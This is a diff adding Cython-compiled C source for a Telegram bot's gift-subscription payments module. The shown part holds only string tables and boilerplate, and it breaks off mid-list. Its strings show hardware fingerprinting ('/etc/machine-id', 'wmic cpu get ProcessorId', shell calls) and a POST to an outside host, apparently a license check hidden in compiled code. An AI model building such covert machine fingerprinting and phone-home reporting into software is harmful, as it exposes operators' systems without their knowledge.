__pyx_k_ClientSession[] = "ClientSession"; +static const char __pyx_k_YOOKASSA_HASH[] = "YOOKASSA_HASH"; +static const char __pyx_k_callback_data[] = "callback_data"; +static const char __pyx_k_get_gift_link[] = "get_gift_link"; +static const char __pyx_k_RENEWAL_PRICES[] = "RENEWAL_PRICES"; +static const char __pyx_k_callback_query[] = "callback_query"; +static const char __pyx_k_etc_machine_id[] = "/etc/machine-id"; +static const char __pyx_k_handlers_texts[] = "handlers.texts"; +static const char __pyx_k_update_balance[] = "update_balance"; +static const char __pyx_k_get_hardware_id[] = "get_hardware_id"; +static const char __pyx_k_recipient_tg_id[] = "recipient_tg_id"; +static const char __pyx_k_selected_months[] = "selected_months"; +static const char __pyx_k_store_gift_link[] = "store_gift_link"; +static const char __pyx_k_HASHHASHYOOKASSA[] = "HASHHASHYOOKASSA"; +static const char __pyx_k_my_gifts_handler[] = "my_gifts_handler"; +static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; +static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; +static const char __pyx_k_start_menu_handler[] = "start_menu_handler"; +static const char __pyx_k_aiogram_fsm_context[] = "aiogram.fsm.context"; +static const char __pyx_k_types_CallbackQuery[] = "types.CallbackQuery"; +static const char __pyx_k_InlineKeyboardButton[] = "InlineKeyboardButton"; +static const char __pyx_k_PROJECTMANECONGIGURE[] = "PROJECTMANECONGIGURE"; +static const char __pyx_k_confirm_gift_handler[] = "confirm_gift_handler"; +static const char __pyx_k_validate_client_code[] = "validate_client_code"; +static const char __pyx_k_InlineKeyboardBuilder[] = "InlineKeyboardBuilder"; +static const char __pyx_k_finalize_gift_handler[] = "finalize_gift_handler"; +static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; +static const char __pyx_k_handlers_payments_gift[] = "handlers.payments.gift"; +static const char __pyx_k_wmic_cpu_get_ProcessorId[] = "wmic cpu get ProcessorId"; +static const char __pyx_k_gift_subscription_handler[] = "gift_subscription_handler"; +static const char __pyx_k_handlers_payments_gift_py[] = "handlers/payments/gift.py"; +static const char __pyx_k_SELECT_gift_id_selected_months_i[] = "SELECT gift_id, selected_months, is_used, expiry_time, recipient_tg_id FROM gifts WHERE sender_tg_id = $1"; +static const char __pyx_k_https_pocomacho_ru_solonetbot_co[] = "https://pocomacho.ru/solonetbot/codes/add/"; +/* #### Code section: decls ### */ +static PyObject *__pyx_pf_8handlers_8payments_4gift_start_menu_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_4gift_3my_gifts_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_session); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_4gift_6gift_subscription_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_4gift_9confirm_gift_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, CYTHON_UNUSED PyObject *__pyx_v_session); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_4gift_12finalize_gift_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, CYTHON_UNUSED PyObject *__pyx_v_state, PyObject *__pyx_v_session); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_4gift_15get_hardware_id(CYTHON_UNUSED PyObject *__pyx_self); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_4gift_17validate_client_code(CYTHON_UNUSED PyObject *__pyx_self); /* proto */ +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +/* #### Code section: late_includes ### */ +/* #### Code section: module_state ### */ +typedef struct { + PyObject *__pyx_d; + PyObject *__pyx_b; + PyObject *__pyx_cython_runtime; + PyObject *__pyx_empty_tuple; + PyObject *__pyx_empty_bytes; + PyObject *__pyx_empty_unicode; + #ifdef __Pyx_CyFunction_USED + PyTypeObject *__pyx_CyFunctionType; + #endif + #ifdef __Pyx_FusedFunction_USED + PyTypeObject *__pyx_FusedFunctionType; + #endif + #ifdef __Pyx_Generator_USED + PyTypeObject *__pyx_GeneratorType; + #endif + #ifdef __Pyx_IterableCoroutine_USED + PyTypeObject *__pyx_IterableCoroutineType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineAwaitType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineType; + #endif + #if CYTHON_USE_MODULE_STATE + PyObject *__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler; + PyObject *__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler; + PyObject *__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler; + PyObject *__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler; + PyObject *__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler; + PyObject *__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code; + #endif + PyTypeObject *__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler; + PyTypeObject *__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler; + PyTypeObject *__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler; + PyTypeObject *__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler; + PyTypeObject *__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler; + PyTypeObject *__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code; + PyObject *__pyx_kp_u_1; + PyObject *__pyx_kp_u_21U68SOLOBOT; + PyObject *__pyx_n_s_Any; + PyObject *__pyx_n_s_CLIENT_CODE; + PyObject *__pyx_n_u_CRYPTOSALE; + PyObject *__pyx_n_s_ClientSession; + PyObject *__pyx_n_s_F; + PyObject *__pyx_n_s_FSMContext; + PyObject *__pyx_n_u_HASHHASHYOOKASSA; + PyObject *__pyx_n_s_InlineKeyboardBuilder; + PyObject *__pyx_n_s_InlineKeyboardButton; + PyObject *__pyx_kp_u_None; + PyObject *__pyx_n_s_PROJECTMANECONGIGURE; + PyObject *__pyx_n_s_RENEWAL_PRICES; + PyObject *__pyx_n_s_Router; + PyObject *__pyx_kp_u_SELECT_gift_id_selected_months_i; + PyObject *__pyx_n_s_STARS_ROUTER; + PyObject *__pyx_n_u_Windows; + PyObject *__pyx_n_s_YOOKASSA_HASH; + PyObject *__pyx_n_u__10; + PyObject *__pyx_kp_u__11; + PyObject *__pyx_kp_u__12; + PyObject *__pyx_kp_u__13; + PyObject *__pyx_n_u__14; + PyObject *__pyx_n_u__15; + PyObject *__pyx_n_u__16; + PyObject *__pyx_kp_u__17; + PyObject *__pyx_kp_u__18; + PyObject *__pyx_kp_u__19; + PyObject *__pyx_kp_u__2; + PyObject *__pyx_kp_u__20; + PyObject *__pyx_kp_u__23; + PyObject *__pyx_kp_u__24; + PyObject *__pyx_kp_u__26; + PyObject *__pyx_kp_u__27; + PyObject *__pyx_kp_u__29; + PyObject *__pyx_kp_u__3; + PyObject *__pyx_kp_u__30; + PyObject *__pyx_kp_u__31; + PyObject *__pyx_kp_u__33; + PyObject *__pyx_kp_u__34; + PyObject *__pyx_kp_u__36; + PyObject *__pyx_kp_u__4; + PyObject *__pyx_kp_u__40; + PyObject *__pyx_kp_u__42; + PyObject *__pyx_kp_u__43; + PyObject *__pyx_kp_u__44; + PyObject *__pyx_n_s__46; + PyObject *__pyx_kp_u__47; + PyObject *__pyx_n_s__58; + PyObject *__pyx_kp_u__6; + PyObject *__pyx_kp_u__7; + PyObject *__pyx_n_u__9; + PyObject *__pyx_n_s_aenter; + PyObject *__pyx_n_s_aexit; + PyObject *__pyx_n_s_aiogram; + PyObject *__pyx_n_s_aiogram_fsm_context; + PyObject *__pyx_n_s_aiogram_utils_keyboard; + PyObject *__pyx_n_s_aiohttp; + PyObject *__pyx_n_s_answer; + PyObject *__pyx_n_s_args; + PyObject *__pyx_n_s_as_markup; + PyObject *__pyx_n_s_asyncio_coroutines; + PyObject *__pyx_n_s_await; + PyObject *__pyx_kp_u_b; + PyObject *__pyx_kp_u_b_2; + PyObject *__pyx_kp_u_b_b; + PyObject *__pyx_kp_u_b_b_2; + PyObject *__pyx_kp_u_b_b_3; + PyObject *__pyx_kp_u_b_b_4; + PyObject *__pyx_kp_u_b_b_b; + PyObject *__pyx_kp_u_b_code; + PyObject *__pyx_n_s_balance; + PyObject *__pyx_n_s_builder; + PyObject *__pyx_n_s_callback_data; + PyObject *__pyx_n_s_callback_query; + PyObject *__pyx_n_s_check_output; + PyObject *__pyx_n_s_cline_in_traceback; + PyObject *__pyx_n_s_close; + PyObject *__pyx_kp_u_code; + PyObject *__pyx_n_u_code_2; + PyObject *__pyx_n_s_config; + PyObject *__pyx_kp_u_confirm_gift; + PyObject *__pyx_n_s_confirm_gift_handler; + PyObject *__pyx_kp_u_d_m_Y_H_M; + PyObject *__pyx_n_s_data; + PyObject *__pyx_n_s_database; + PyObject *__pyx_n_s_datetime; + PyObject *__pyx_n_s_days; + PyObject *__pyx_n_s_decode; + PyObject *__pyx_kp_u_disable; + PyObject *__pyx_n_s_e; + PyObject *__pyx_kp_u_enable; + PyObject *__pyx_n_s_encode; + PyObject *__pyx_n_s_enter; + PyObject *__pyx_kp_u_etc_machine_id; + PyObject *__pyx_n_s_exit; + PyObject *__pyx_n_s_expiry_time; + PyObject *__pyx_n_u_expiry_time; + PyObject *__pyx_n_s_f; + PyObject *__pyx_n_s_fetch; + PyObject *__pyx_n_s_finalize_gift_handler; + PyObject *__pyx_n_s_from_user; + PyObject *__pyx_kp_u_gc; + PyObject *__pyx_n_s_get; + PyObject *__pyx_n_s_get_balance; + PyObject *__pyx_n_s_get_gift_link; + PyObject *__pyx_n_s_get_hardware_id; + PyObject *__pyx_n_s_gift; + PyObject *__pyx_n_u_gift; + PyObject *__pyx_kp_u_gift_2; + PyObject *__pyx_n_s_gift_id; + PyObject *__pyx_n_s_gift_link; + PyObject *__pyx_n_s_gift_subscription_handler; + PyObject *__pyx_n_s_gifts; + PyObject *__pyx_n_u_gifts; + PyObject *__pyx_n_s_gifts_text; + PyObject *__pyx_n_s_handlers_payments_gift; + PyObject *__pyx_kp_s_handlers_payments_gift_py; + PyObject *__pyx_n_s_handlers_texts; + PyObject *__pyx_n_s_hardware_id; + PyObject *__pyx_n_u_hardware_id; + PyObject *__pyx_n_s_hashlib; + PyObject *__pyx_n_s_hex; + PyObject *__pyx_n_s_hexdigest; + PyObject *__pyx_kp_u_https_pocomacho_ru_solonetbot_co; + PyObject *__pyx_n_s_id; + PyObject *__pyx_n_s_import; + PyObject *__pyx_n_s_info; + PyObject *__pyx_n_s_initializing; + PyObject *__pyx_n_s_is_coroutine; + PyObject *__pyx_n_s_is_used; + PyObject *__pyx_n_u_is_used; + PyObject *__pyx_kp_u_isenabled; + PyObject *__pyx_n_s_items; + PyObject *__pyx_n_s_json; + PyObject *__pyx_n_s_logger; + PyObject *__pyx_n_s_main; + PyObject *__pyx_n_s_message; + PyObject *__pyx_n_u_message; + PyObject *__pyx_n_s_months; + PyObject *__pyx_n_u_my_gifts; + PyObject *__pyx_n_s_my_gifts_handler; + PyObject *__pyx_n_s_name; + PyObject *__pyx_n_s_open; + PyObject *__pyx_n_s_payload; + PyObject *__pyx_n_s_platform; + PyObject *__pyx_n_s_post; + PyObject *__pyx_n_s_price; + PyObject *__pyx_n_u_profile; + PyObject *__pyx_n_s_read; + PyObject *__pyx_n_s_recipient; + PyObject *__pyx_n_u_recipient_tg_id; + PyObject *__pyx_n_s_reply_markup; + PyObject *__pyx_n_s_response; + PyObject *__pyx_n_s_result; + PyObject *__pyx_n_s_router; + PyObject *__pyx_n_s_row; + PyObject *__pyx_n_s_selected_months; + PyObject *__pyx_n_u_selected_months; + PyObject *__pyx_n_s_send; + PyObject *__pyx_n_s_session; + PyObject *__pyx_n_s_sha256; + PyObject *__pyx_n_s_shell; + PyObject *__pyx_n_s_show_alert; + PyObject *__pyx_n_s_spec; + PyObject *__pyx_n_s_split; + PyObject *__pyx_n_s_start_menu_handler; + PyObject *__pyx_n_s_startswith; + PyObject *__pyx_n_s_state; + PyObject *__pyx_n_s_status; + PyObject *__pyx_n_u_status; + PyObject *__pyx_n_s_store_gift_link; + PyObject *__pyx_n_s_strftime; + PyObject *__pyx_n_s_strip; + PyObject *__pyx_n_s_subprocess; + PyObject *__pyx_n_u_success; + PyObject *__pyx_n_s_system; + PyObject *__pyx_n_s_test; + PyObject *__pyx_n_s_text; + PyObject *__pyx_n_s_tg_id; + PyObject *__pyx_n_s_throw; + PyObject *__pyx_n_s_timedelta; + PyObject *__pyx_n_s_types; + PyObject *__pyx_kp_s_types_CallbackQuery; + PyObject *__pyx_n_s_typing; + PyObject *__pyx_n_s_update_balance; + PyObject *__pyx_n_s_user_tg_id; + PyObject *__pyx_n_s_utcnow; + PyObject *__pyx_n_s_uuid; + PyObject *__pyx_n_s_uuid4; + PyObject *__pyx_n_s_validate_client_code; + PyObject *__pyx_kp_u_wmic_cpu_get_ProcessorId; + PyObject *__pyx_int_1; + PyObject *__pyx_int_2; + PyObject *__pyx_int_3; + PyObject *__pyx_int_4; + PyObject *__pyx_int_30; + PyObject *__pyx_int_200; + PyObject *__pyx_codeobj_; + PyObject *__pyx_tuple__8; + PyObject *__pyx_tuple__28; + PyObject *__pyx_tuple__35; + PyObject *__pyx_tuple__37; + PyObject *__pyx_tuple__38; + PyObject *__pyx_tuple__41; + PyObject *__pyx_tuple__45; + PyObject *__pyx_tuple__48; + PyObject *__pyx_tuple__49; + PyObject *__pyx_tuple__50; + PyObject *__pyx_tuple__51; + PyObject *__pyx_tuple__52; + PyObject *__pyx_tuple__53; + PyObject *__pyx_tuple__54; + PyObject *__pyx_tuple__55; + PyObject *__pyx_tuple__57; + PyObject *__pyx_codeobj__5; + PyObject *__pyx_codeobj__21; + PyObject *__pyx_codeobj__25; + PyObject *__pyx_codeobj__32; + PyObject *__pyx_codeobj__39; + PyObject *__pyx_codeobj__56; + PyObject *__pyx_ustring__22; +} __pyx_mstate; + +#if CYTHON_USE_MODULE_STATE +#ifdef __cplusplus +namespace { + extern struct PyModuleDef __pyx_moduledef; +} /* anonymous namespace */ +#else +static struct PyModuleDef __pyx_moduledef; +#endif + +#define __pyx_mstate(o) ((__pyx_mstate *)__Pyx_PyModule_GetState(o)) + +#define __pyx_mstate_global (__pyx_mstate(PyState_FindModule(&__pyx_moduledef))) + +#define __pyx_m (PyState_FindModule(&__pyx_moduledef)) +#else +static __pyx_mstate __pyx_mstate_global_static = +#ifdef __cplusplus + {}; +#else + {0}; +#endif +static __pyx_mstate *__pyx_mstate_global = &__pyx_mstate_global_static; +#endif +/* #### Code section: module_state_clear ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_clear(PyObject *m) { + __pyx_mstate *clear_module_state = __pyx_mstate(m); + if (!clear_module_state) return 0; + Py_CLEAR(clear_module_state->__pyx_d); + Py_CLEAR(clear_module_state->__pyx_b); + Py_CLEAR(clear_module_state->__pyx_cython_runtime); + Py_CLEAR(clear_module_state->__pyx_empty_tuple); + Py_CLEAR(clear_module_state->__pyx_empty_bytes); + Py_CLEAR(clear_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_CLEAR(clear_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_CLEAR(clear_module_state->__pyx_FusedFunctionType); + #endif + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code); + Py_CLEAR(clear_module_state->__pyx_kp_u_1); + Py_CLEAR(clear_module_state->__pyx_kp_u_21U68SOLOBOT); + Py_CLEAR(clear_module_state->__pyx_n_s_Any); + Py_CLEAR(clear_module_state->__pyx_n_s_CLIENT_CODE); + Py_CLEAR(clear_module_state->__pyx_n_u_CRYPTOSALE); + Py_CLEAR(clear_module_state->__pyx_n_s_ClientSession); + Py_CLEAR(clear_module_state->__pyx_n_s_F); + Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); + Py_CLEAR(clear_module_state->__pyx_n_u_HASHHASHYOOKASSA); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); + Py_CLEAR(clear_module_state->__pyx_kp_u_None); + Py_CLEAR(clear_module_state->__pyx_n_s_PROJECTMANECONGIGURE); + Py_CLEAR(clear_module_state->__pyx_n_s_RENEWAL_PRICES); + Py_CLEAR(clear_module_state->__pyx_n_s_Router); + Py_CLEAR(clear_module_state->__pyx_kp_u_SELECT_gift_id_selected_months_i); + Py_CLEAR(clear_module_state->__pyx_n_s_STARS_ROUTER); + Py_CLEAR(clear_module_state->__pyx_n_u_Windows); + Py_CLEAR(clear_module_state->__pyx_n_s_YOOKASSA_HASH); + Py_CLEAR(clear_module_state->__pyx_n_u__10); + Py_CLEAR(clear_module_state->__pyx_kp_u__11); + Py_CLEAR(clear_module_state->__pyx_kp_u__12); + Py_CLEAR(clear_module_state->__pyx_kp_u__13); + Py_CLEAR(clear_module_state->__pyx_n_u__14); + Py_CLEAR(clear_module_state->__pyx_n_u__15); + Py_CLEAR(clear_module_state->__pyx_n_u__16); + Py_CLEAR(clear_module_state->__pyx_kp_u__17); + Py_CLEAR(clear_module_state->__pyx_kp_u__18); + Py_CLEAR(clear_module_state->__pyx_kp_u__19); + Py_CLEAR(clear_module_state->__pyx_kp_u__2); + Py_CLEAR(clear_module_state->__pyx_kp_u__20); + Py_CLEAR(clear_module_state->__pyx_kp_u__23); + Py_CLEAR(clear_module_state->__pyx_kp_u__24); + Py_CLEAR(clear_module_state->__pyx_kp_u__26); + Py_CLEAR(clear_module_state->__pyx_kp_u__27); + Py_CLEAR(clear_module_state->__pyx_kp_u__29); + Py_CLEAR(clear_module_state->__pyx_kp_u__3); + Py_CLEAR(clear_module_state->__pyx_kp_u__30); + Py_CLEAR(clear_module_state->__pyx_kp_u__31); + Py_CLEAR(clear_module_state->__pyx_kp_u__33); + Py_CLEAR(clear_module_state->__pyx_kp_u__34); + Py_CLEAR(clear_module_state->__pyx_kp_u__36); + Py_CLEAR(clear_module_state->__pyx_kp_u__4); + Py_CLEAR(clear_module_state->__pyx_kp_u__40); + Py_CLEAR(clear_module_state->__pyx_kp_u__42); + Py_CLEAR(clear_module_state->__pyx_kp_u__43); + Py_CLEAR(clear_module_state->__pyx_kp_u__44); + Py_CLEAR(clear_module_state->__pyx_n_s__46); + Py_CLEAR(clear_module_state->__pyx_kp_u__47); + Py_CLEAR(clear_module_state->__pyx_n_s__58); + Py_CLEAR(clear_module_state->__pyx_kp_u__6); + Py_CLEAR(clear_module_state->__pyx_kp_u__7); + Py_CLEAR(clear_module_state->__pyx_n_u__9); + Py_CLEAR(clear_module_state->__pyx_n_s_aenter); + Py_CLEAR(clear_module_state->__pyx_n_s_aexit); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_context); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_aiohttp); + Py_CLEAR(clear_module_state->__pyx_n_s_answer); + Py_CLEAR(clear_module_state->__pyx_n_s_args); + Py_CLEAR(clear_module_state->__pyx_n_s_as_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_asyncio_coroutines); + Py_CLEAR(clear_module_state->__pyx_n_s_await); + Py_CLEAR(clear_module_state->__pyx_kp_u_b); + Py_CLEAR(clear_module_state->__pyx_kp_u_b_2); + Py_CLEAR(clear_module_state->__pyx_kp_u_b_b); + Py_CLEAR(clear_module_state->__pyx_kp_u_b_b_2); + Py_CLEAR(clear_module_state->__pyx_kp_u_b_b_3); + Py_CLEAR(clear_module_state->__pyx_kp_u_b_b_4); + Py_CLEAR(clear_module_state->__pyx_kp_u_b_b_b); + Py_CLEAR(clear_module_state->__pyx_kp_u_b_code); + Py_CLEAR(clear_module_state->__pyx_n_s_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_builder); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_query); + Py_CLEAR(clear_module_state->__pyx_n_s_check_output); + Py_CLEAR(clear_module_state->__pyx_n_s_cline_in_traceback); + Py_CLEAR(clear_module_state->__pyx_n_s_close); + Py_CLEAR(clear_module_state->__pyx_kp_u_code); + Py_CLEAR(clear_module_state->__pyx_n_u_code_2); + Py_CLEAR(clear_module_state->__pyx_n_s_config); + Py_CLEAR(clear_module_state->__pyx_kp_u_confirm_gift); + Py_CLEAR(clear_module_state->__pyx_n_s_confirm_gift_handler); + Py_CLEAR(clear_module_state->__pyx_kp_u_d_m_Y_H_M); + Py_CLEAR(clear_module_state->__pyx_n_s_data); + Py_CLEAR(clear_module_state->__pyx_n_s_database); + Py_CLEAR(clear_module_state->__pyx_n_s_datetime); + Py_CLEAR(clear_module_state->__pyx_n_s_days); + Py_CLEAR(clear_module_state->__pyx_n_s_decode); + Py_CLEAR(clear_module_state->__pyx_kp_u_disable); + Py_CLEAR(clear_module_state->__pyx_n_s_e); + Py_CLEAR(clear_module_state->__pyx_kp_u_enable); + Py_CLEAR(clear_module_state->__pyx_n_s_encode); + Py_CLEAR(clear_module_state->__pyx_n_s_enter); + Py_CLEAR(clear_module_state->__pyx_kp_u_etc_machine_id); + Py_CLEAR(clear_module_state->__pyx_n_s_exit); + Py_CLEAR(clear_module_state->__pyx_n_s_expiry_time); + Py_CLEAR(clear_module_state->__pyx_n_u_expiry_time); + Py_CLEAR(clear_module_state->__pyx_n_s_f); + Py_CLEAR(clear_module_state->__pyx_n_s_fetch); + Py_CLEAR(clear_module_state->__pyx_n_s_finalize_gift_handler); + Py_CLEAR(clear_module_state->__pyx_n_s_from_user); + Py_CLEAR(clear_module_state->__pyx_kp_u_gc); + Py_CLEAR(clear_module_state->__pyx_n_s_get); + Py_CLEAR(clear_module_state->__pyx_n_s_get_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_get_gift_link); + Py_CLEAR(clear_module_state->__pyx_n_s_get_hardware_id); + Py_CLEAR(clear_module_state->__pyx_n_s_gift); + Py_CLEAR(clear_module_state->__pyx_n_u_gift); + Py_CLEAR(clear_module_state->__pyx_kp_u_gift_2); + Py_CLEAR(clear_module_state->__pyx_n_s_gift_id); + Py_CLEAR(clear_module_state->__pyx_n_s_gift_link); + Py_CLEAR(clear_module_state->__pyx_n_s_gift_subscription_handler); + Py_CLEAR(clear_module_state->__pyx_n_s_gifts); + Py_CLEAR(clear_module_state->__pyx_n_u_gifts); + Py_CLEAR(clear_module_state->__pyx_n_s_gifts_text); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_gift); + Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_gift_py); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_texts); + Py_CLEAR(clear_module_state->__pyx_n_s_hardware_id); + Py_CLEAR(clear_module_state->__pyx_n_u_hardware_id); + Py_CLEAR(clear_module_state->__pyx_n_s_hashlib); + Py_CLEAR(clear_module_state->__pyx_n_s_hex); + Py_CLEAR(clear_module_state->__pyx_n_s_hexdigest); + Py_CLEAR(clear_module_state->__pyx_kp_u_https_pocomacho_ru_solonetbot_co); + Py_CLEAR(clear_module_state->__pyx_n_s_id); + Py_CLEAR(clear_module_state->__pyx_n_s_import); + Py_CLEAR(clear_module_state->__pyx_n_s_info); + Py_CLEAR(clear_module_state->__pyx_n_s_initializing); + Py_CLEAR(clear_module_state->__pyx_n_s_is_coroutine); + Py_CLEAR(clear_module_state->__pyx_n_s_is_used); + Py_CLEAR(clear_module_state->__pyx_n_u_is_used); + Py_CLEAR(clear_module_state->__pyx_kp_u_isenabled); + Py_CLEAR(clear_module_state->__pyx_n_s_items); + Py_CLEAR(clear_module_state->__pyx_n_s_json); + Py_CLEAR(clear_module_state->__pyx_n_s_logger); + Py_CLEAR(clear_module_state->__pyx_n_s_main); + Py_CLEAR(clear_module_state->__pyx_n_s_message); + Py_CLEAR(clear_module_state->__pyx_n_u_message); + Py_CLEAR(clear_module_state->__pyx_n_s_months); + Py_CLEAR(clear_module_state->__pyx_n_u_my_gifts); + Py_CLEAR(clear_module_state->__pyx_n_s_my_gifts_handler); + Py_CLEAR(clear_module_state->__pyx_n_s_name); + Py_CLEAR(clear_module_state->__pyx_n_s_open); + Py_CLEAR(clear_module_state->__pyx_n_s_payload); + Py_CLEAR(clear_module_state->__pyx_n_s_platform); + Py_CLEAR(clear_module_state->__pyx_n_s_post); + Py_CLEAR(clear_module_state->__pyx_n_s_price); + Py_CLEAR(clear_module_state->__pyx_n_u_profile); + Py_CLEAR(clear_module_state->__pyx_n_s_read); + Py_CLEAR(clear_module_state->__pyx_n_s_recipient); + Py_CLEAR(clear_module_state->__pyx_n_u_recipient_tg_id); + Py_CLEAR(clear_module_state->__pyx_n_s_reply_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_response); + Py_CLEAR(clear_module_state->__pyx_n_s_result); + Py_CLEAR(clear_module_state->__pyx_n_s_router); + Py_CLEAR(clear_module_state->__pyx_n_s_row); + Py_CLEAR(clear_module_state->__pyx_n_s_selected_months); + Py_CLEAR(clear_module_state->__pyx_n_u_selected_months); + Py_CLEAR(clear_module_state->__pyx_n_s_send); + Py_CLEAR(clear_module_state->__pyx_n_s_session); + Py_CLEAR(clear_module_state->__pyx_n_s_sha256); + Py_CLEAR(clear_module_state->__pyx_n_s_shell); + Py_CLEAR(clear_module_state->__pyx_n_s_show_alert); + Py_CLEAR(clear_module_state->__pyx_n_s_spec); + Py_CLEAR(clear_module_state->__pyx_n_s_split); + Py_CLEAR(clear_module_state->__pyx_n_s_start_menu_handler); + Py_CLEAR(clear_module_state->__pyx_n_s_startswith); + Py_CLEAR(clear_module_state->__pyx_n_s_state); + Py_CLEAR(clear_module_state->__pyx_n_s_status); + Py_CLEAR(clear_module_state->__pyx_n_u_status); + Py_CLEAR(clear_module_state->__pyx_n_s_store_gift_link); + Py_CLEAR(clear_module_state->__pyx_n_s_strftime); + Py_CLEAR(clear_module_state->__pyx_n_s_strip); + Py_CLEAR(clear_module_state->__pyx_n_s_subprocess); + Py_CLEAR(clear_module_state->__pyx_n_u_success); + Py_CLEAR(clear_module_state->__pyx_n_s_system); + Py_CLEAR(clear_module_state->__pyx_n_s_test); + Py_CLEAR(clear_module_state->__pyx_n_s_text); + Py_CLEAR(clear_module_state->__pyx_n_s_tg_id); + Py_CLEAR(clear_module_state->__pyx_n_s_throw); + Py_CLEAR(clear_module_state->__pyx_n_s_timedelta); + Py_CLEAR(clear_module_state->__pyx_n_s_types); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_CallbackQuery); + Py_CLEAR(clear_module_state->__pyx_n_s_typing); + Py_CLEAR(clear_module_state->__pyx_n_s_update_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_user_tg_id); + Py_CLEAR(clear_module_state->__pyx_n_s_utcnow); + Py_CLEAR(clear_module_state->__pyx_n_s_uuid); + Py_CLEAR(clear_module_state->__pyx_n_s_uuid4); + Py_CLEAR(clear_module_state->__pyx_n_s_validate_client_code); + 